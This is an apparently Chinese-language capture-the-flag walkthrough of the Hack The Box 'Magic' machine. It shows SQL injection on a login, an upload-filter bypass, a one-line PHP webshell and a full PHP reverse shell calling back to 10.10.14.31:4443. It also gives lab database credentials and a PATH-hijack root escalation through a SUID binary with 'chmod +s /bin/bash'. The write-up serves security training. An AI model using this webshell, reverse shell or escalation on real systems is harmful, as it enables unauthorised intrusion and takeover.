> 文章列表 > HTB-Magic

HTB-Magic

HTB-Magic

HTB-Magic

  • 信息收集
  • 80端口
  • 立足
  • www-data -> theseus
  • theseus -> root

HTB-Magic

信息收集

HTB-Magic

80端口

主页如下。
HTB-Magic
HTB-Magic
HTB-Magic

左下角有一个Login。
HTB-Magic
抓包后尝试sql注入。
HTB-Magic

HTB-Magic
上传一个图片并保存请求。
HTB-Magic
上传的文件会在/uploads/上传文件名+后缀。

HTB-Magic
只允许我们上传jpg,jpeg,png文件。

HTB-Magic
上传php会出现警告。
HTB-Magic
经过测试发现目标对上传文件的后缀名和文件头进行过滤。

HTB-Magic

HTB-Magic

立足

上传webshell。<?php system($_REQUEST['cmd']);?>
HTB-Magic
webshell反弹失败,构造好php反弹。

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {private $addr  = null;private $port  = null;private $os    = null;private $shell = null;private $descriptorspec = array(0 => array('pipe', 'r'), // shell can read from STDIN1 => array('pipe', 'w'), // shell can write to STDOUT2 => array('pipe', 'w')  // shell can write to STDERR);private $buffer  = 1024;    // read/write buffer sizeprivate $clen    = 0;       // command lengthprivate $error   = false;   // stream read/write errorpublic function __construct($addr, $port) {$this->addr = $addr;$this->port = $port;}private function detect() {$detected = true;if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS$this->os    = 'LINUX';$this->shell = '/bin/sh';} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {$this->os    = 'WINDOWS';$this->shell = 'cmd.exe';} else {$detected = false;echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\\n";}return $detected;}private function daemonize() {$exit = false;if (!function_exists('pcntl_fork')) {echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\\n";} else if (($pid = @pcntl_fork()) < 0) {echo "DAEMONIZE: Cannot fork off the parent process, moving on...\\n";} else if ($pid > 0) {$exit = true;echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\\n";} else if (posix_setsid() < 0) {// once daemonized you will actually no longer see the script's dumpecho "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\\n";} else {echo "DAEMONIZE: Completed successfully!\\n";}return $exit;}private function settings() {@error_reporting(0);@set_time_limit(0); // do not impose the script execution time limit@umask(0); // set the file/directory permissions - 666 for files and 777 for directories}private function dump($data) {$data = str_replace('<', '&lt;', $data);$data = str_replace('>', '&gt;', $data);echo $data;}private function read($stream, $name, $buffer) {if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream$this->error = true;                            // set global error flagecho "STRM_ERROR: Cannot read from ${name}, script will now exit...\\n";}return $data;}private function write($stream, $name, $data) {if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream$this->error = true;                            // set global error flagecho "STRM_ERROR: Cannot write to ${name}, script will now exit...\\n";}return $bytes;}// read/write method for non-blocking streamsprivate function rw($input, $output, $iname, $oname) {while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length$this->dump($data); // script's dump}}// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)// we must read the exact byte length from a stream and not a single byte moreprivate function brw($input, $output, $iname, $oname) {$fstat = fstat($input);$size = $fstat['size'];if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {// for some reason Windows OS pipes STDIN into STDOUT// we do not like that// we need to discard the data from the streamwhile ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {$this->clen -= $bytes;$size -= $bytes;}}while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {$size -= $bytes;$this->dump($data); // script's dump}}public function run() {if ($this->detect() && !$this->daemonize()) {$this->settings();// ----- SOCKET BEGIN -----$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);if (!$socket) {echo "SOC_ERROR: {$errno}: {$errstr}\\n";} else {stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS// ----- SHELL BEGIN -----$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);if (!$process) {echo "PROC_ERROR: Cannot start the shell\\n";} else {foreach ($pipes as $pipe) {stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS}// ----- WORK BEGIN -----$status = proc_get_status($process);@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\\n");do {$status = proc_get_status($process);if (feof($socket)) { // check for end-of-file on SOCKETecho "SOC_ERROR: Shell connection has been terminated\\n"; break;} else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still runningecho "PROC_ERROR: Shell process has been terminated\\n";   break; // feof() does not work with blocking streams}                                                                    // use proc_get_status() instead$streams = array('read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR'write'  => null,'except' => null);$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OSif ($num_changed_streams === false) {echo "STRM_ERROR: stream_select() failed\\n"; break;} else if ($num_changed_streams > 0) {if ($this->os === 'LINUX') {if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET} else if ($this->os === 'WINDOWS') {// order is importantif (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDINif (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKETif (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET}}} while (!$this->error);// ------ WORK END ------foreach ($pipes as $pipe) {fclose($pipe);}proc_close($process);}// ------ SHELL END ------fclose($socket);}// ------ SOCKET END ------}}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.31', 4443);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

HTB-Magic

www-data -> theseus

/var/www/Magic/db.php5里面有数据库的信息。
HTB-Magic
直接使用su theseus会失败,所以去mysql看看。可以看到本地在运行3306端口,但是无法使用mysql。
HTB-Magic

我们也跟着db.php5来使用PDO。
HTB-Magic
HTB-Magic
HTB-Magic
获得表名login
HTB-Magic

获取字段名id,username,password
HTB-Magic
获得admin:Th3s3usW4sK1ng
HTB-Magic

HTB-Magic

theseus -> root

find / -perm -04000 2>/dev/null可以得到/bin/sysinfo
HTB-Magic/bin/sysinfo的所属组和theseus的所属组都是users
HTB-Magic
strings /bin/sysinfo能看到查看各种信息所使用的命令。

HTB-Magic
命令没有使用绝对路径,大概率突破口就在这。现在先看看环境变量。
HTB-Magic

就下面四个命令。

lshw -short
fdisk -l
cat /proc/cpuinfo
free -h

选了一个lshw,并在/tmp创建了一个同名文件内容如下:

#!/bin/bash
chmod +s /bin/bash

然后使用PATH=$PWD:$PATH /bin/sysinfo
HTB-Magic

HTB-Magic